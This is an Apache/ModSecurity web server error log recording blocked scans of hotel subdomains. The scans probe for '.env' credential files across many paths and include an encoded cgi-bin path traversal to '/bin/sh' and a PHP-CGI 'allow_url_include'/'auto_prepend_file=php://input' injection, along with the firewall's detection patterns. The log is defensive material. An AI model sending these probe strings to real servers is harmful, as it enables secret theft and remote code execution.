[Tue Oct 27 01:43:49.437268 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6FUtgBhmk9Q7hbpqX1AAAAAs"]
[Tue Oct 27 01:43:49.437514 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6FUtgBhmk9Q7hbpqX1AAAAAs"]
[Tue Oct 27 01:43:49.438630 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6AAAAAY"]
[Tue Oct 27 01:43:49.438762 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6AAAAAY"]
[Tue Oct 27 01:43:49.439026 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6AAAAAY"]
[Tue Oct 27 01:43:49.453381 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6FckbbDK06qDUYmCoygAAAAU"]
[Tue Oct 27 01:43:49.453566 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6FckbbDK06qDUYmCoygAAAAU"]
[Tue Oct 27 01:43:49.453788 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6FckbbDK06qDUYmCoygAAAAU"]
[Tue Oct 27 01:43:49.487901 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6FUtgBhmk9Q7hbpqX1QAAAAs"]
[Tue Oct 27 01:43:49.488137 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6FUtgBhmk9Q7hbpqX1QAAAAs"]
[Tue Oct 27 01:43:49.488431 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6FUtgBhmk9Q7hbpqX1QAAAAs"]
[Tue Oct 27 01:43:49.489214 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6QAAAAY"]
[Tue Oct 27 01:43:49.489404 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6QAAAAY"]
[Tue Oct 27 01:43:49.489623 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6QAAAAY"]
[Tue Oct 27 01:43:49.530194 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6FckbbDK06qDUYmCoywAAAAU"]
[Tue Oct 27 01:43:49.530405 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6FckbbDK06qDUYmCoywAAAAU"]
[Tue Oct 27 01:43:49.530660 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6FckbbDK06qDUYmCoywAAAAU"]
[Tue Oct 27 01:43:49.621656 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzgAAAAg"]
[Tue Oct 27 01:43:49.621890 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzgAAAAg"]
[Tue Oct 27 01:43:49.622178 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auA6FQ67030o4-ZAUjLpzgAAAAg"]
[Tue Oct 27 01:43:49.630013 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6gAAAAY"]
[Tue Oct 27 01:43:49.630164 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6gAAAAY"]
[Tue Oct 27 01:43:49.630370 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "auA6Fcqawth2HP9RxtL-6gAAAAY"]
[Tue Oct 27 01:43:49.631379 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6FUtgBhmk9Q7hbpqX1gAAAAs"]
[Tue Oct 27 01:43:49.631525 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6FUtgBhmk9Q7hbpqX1gAAAAs"]
[Tue Oct 27 01:43:49.631766 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6FUtgBhmk9Q7hbpqX1gAAAAs"]
[Tue Oct 27 01:43:49.632788 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6FckbbDK06qDUYmCozAAAAAU"]
[Tue Oct 27 01:43:49.633829 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6FckbbDK06qDUYmCozAAAAAU"]
[Tue Oct 27 01:43:49.634112 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auA6FckbbDK06qDUYmCozAAAAAU"]
[Tue Oct 27 01:44:02.283197 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.200.251.20:20805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:06.158118 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 184.73.239.35:47133] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:14.156769 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 98.83.8.142:33083] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:18.155303 2026] [ssl:error] [pid 3171492:tid 3171492] (70014)End of file found: [client 35.170.205.140:11201] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:26.161402 2026] [ssl:error] [pid 3170301:tid 3170301] (70014)End of file found: [client 34.205.170.13:53178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:30.451695 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 3.212.205.90:13132] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:34.180588 2026] [ssl:error] [pid 3171492:tid 3171492] (70014)End of file found: [client 34.202.88.37:6922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:42.246726 2026] [ssl:error] [pid 3170301:tid 3170301] (70014)End of file found: [client 34.233.219.155:41485] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:46.504058 2026] [ssl:error] [pid 3171492:tid 3171492] (70014)End of file found: [client 54.162.69.192:35975] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:50.434574 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 98.83.8.142:11810] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:44:55.450540 2026] [core:error] [pid 3161716:tid 3161716] [client 89.126.211.166:35194] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Tue Oct 27 01:44:56.020436 2026] [core:error] [pid 3171492:tid 3171492] [client 89.126.211.166:35202] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Tue Oct 27 01:44:56.755209 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "auA6WNu7k0W31xV3RUIMnwAAAAw"]
[Tue Oct 27 01:44:56.755355 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "auA6WNu7k0W31xV3RUIMnwAAAAw"]
[Tue Oct 27 01:44:56.756212 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "auA6WNu7k0W31xV3RUIMnwAAAAw"]
[Tue Oct 27 01:44:56.756677 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "auA6WNu7k0W31xV3RUIMnwAAAAw"]
[Tue Oct 27 01:44:56.964492 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auA6WNu7k0W31xV3RUIMoAAAAAw"]
[Tue Oct 27 01:44:56.964571 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auA6WNu7k0W31xV3RUIMoAAAAAw"]
